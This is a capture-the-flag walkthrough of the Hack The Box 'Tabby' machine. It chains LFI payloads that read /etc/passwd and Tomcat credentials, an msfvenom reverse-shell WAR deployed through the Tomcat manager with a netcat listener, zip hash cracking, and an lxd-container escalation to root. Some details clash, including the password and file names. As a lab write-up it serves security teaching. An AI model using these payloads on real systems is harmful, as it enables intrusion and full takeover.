Tabby

Introduction

This write-up details the steps taken to solve the Tabby machine from Hack The Box. The approach includes reconnaissance, enumeration, exploitation, and privilege escalation to gain root access.

Reconnaissance

Initial Nmap Scan

To begin the process, an nmap scan was conducted to identify open ports and services running on the target machine:

nmap -sV -p- 10.10.10.194

The initial Nmap scan revealed a variety of open ports and running services on the target machine:

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
8080/tcp open  http-proxy

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
|   256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_  256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open  http    Apache Tomcat
|_http-title: Apache Tomcat
|_http-open-proxy: Proxy might be redirecting requests
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration

Enumeration (Port 80)

The service on port 80 was hosting a website with the title Mega Hosting. Initial inspection of the site did not reveal anything immediately exploitable. However, an interesting detail was observed: to access the site properly, it was necessary to add an entry to /etc/hosts to resolve the hostname.

After configuring the host entry, the site displayed correctly.

LFI Vulnerability Detected

While analyzing the URL structure, a file parameter was observed in the query string:

http://megahosting.htb/index.php?file=example.txt

This suggested the potential for a Local File Inclusion (LFI) attack, where files on the server could be read by manipulating the parameter.

A test using ../../../../etc/passwd confirmed that LFI was present:

http://megahosting.htb/index.php?file=../../../../etc/passwd

The file /etc/passwd revealed the presence of a user ash with a login shell:

ash:x:1001:1001::/home/ash:/bin/bash

Attempts to retrieve ash's SSH private key using the typical path /home/ash/.ssh/id_rsa failed.

Enumeration (Port 8080)

Navigating to http://megahosting:8080 revealed a default Apache Tomcat installation. The default Tomcat landing page exposed several useful paths and configuration hints.

Since the LFI vulnerability was confirmed on port 80, an attempt was made to access /conf/tomcat-users.xml using the file inclusion:

http://megahosting.htb/index.php?file=../../../../opt/tomcat/conf/tomcat-users.xml

This provided the Tomcat user credentials.

Explotation (Tomcat Manager)

With the credentials obtained from tomcat-users.xml (username: tomcat, password: $3cureP4s5w0rd123!!), I attempted to access the Tomcat Host Manager web application:

http://10.10.10.194:8080/host-manager/html

Unfortunately, access to the /manager application was restricted, preventing the use of common Tomcat manager exploits. To find an alternative attack path, I listed the deployed applications using the following curl command:

curl -s -u 'tomcat:$3cureP4s5w0rd123!' -X GET "http://10.10.10.194:8080/manager/text/list"

Uploading a WAR File for Reverse Shell

I generated a WAR payload using msfvenom to establish a reverse shell:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.22 LPORT=4444 -f war -o reverse.war

Then, I deployed the WAR file using the Tomcat manager text interface, this install an application to tomcat.

curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://10.10.10.194:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war

Once the file was uploaded, I started a listener on my machine:

nc -lvnp 4444

Finally, I accessed the reverse shell by navigating to http://10.10.10.194:8080/reverse. This established a connection, providing a limited shell.

I upgraded it to a fully interactive TTY. While exploring the filesystem, I found a backup ZIP file in /var/www/html/files.

I transferred it to my machine using a Python server and wget:

On the exploited machine:

On my machine:

The ZIP file was password-protected, so I used zip2john to extract its hash:

zip2john 16162020_backup.zip > zipfile.hash
john zipfile.hash --wordlist=/usr/share/wordlists/rockyou.txt

After cracking the password, I extracted the contents of the ZIP file but found nothing immediately useful.

However, I reused the cracked password to attempt SSH access as ash, the user identified in /etc/passwd. This was successful, granting user-level access to the system.

Privilege Escalation (ash -> root)

During enumeration as ash, I discovered that the user was a member of the lxd group:

The lxd group allows users to manage LXD (Linux Containers), a container manager similar to Docker. If a user has lxd privileges, it is possible to escalate to root by creating a privileged container that mounts the host filesystem. This method leverages LXC, a low-level Linux container runtime.

Exploitation Steps

First, I created an Alpine Linux image using lxd-alpine-builder. On my local machine:

git clone https://github.com/saghul/lxd-alpine-builder.git  
cd lxd-alpine-builder/  
./build-alpine

This generated a compressed file: alpine-v3.12-x86_64-20201106_1855.tar.gz and I used a simple Python HTTP server to transfer the image to the target machine:

Once the file is copied, initiate LXD on the remote machine and proceed with the installation while answering "no" to all prompts, you can use the following command:

sudo lxd init --auto

Next, we run the following command to import the alpine image.

lxc image import ./alpine-v3.12-x86_64-20201106_2000.tar.gz --alias myimage

To check if the image is successfully imported, type the following.

lxc image list

Using the imported image, I created a privileged container and mounted the host filesystem:

lxc init myimage mycontainer -c security.privileged=true 
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true 
lxc start mycontainer

Once the container is started, we can access it by typing the following command.

lxc exec mycontainer /bin/sh

And finally read the root flag stored in /mnt/root/root/root.txt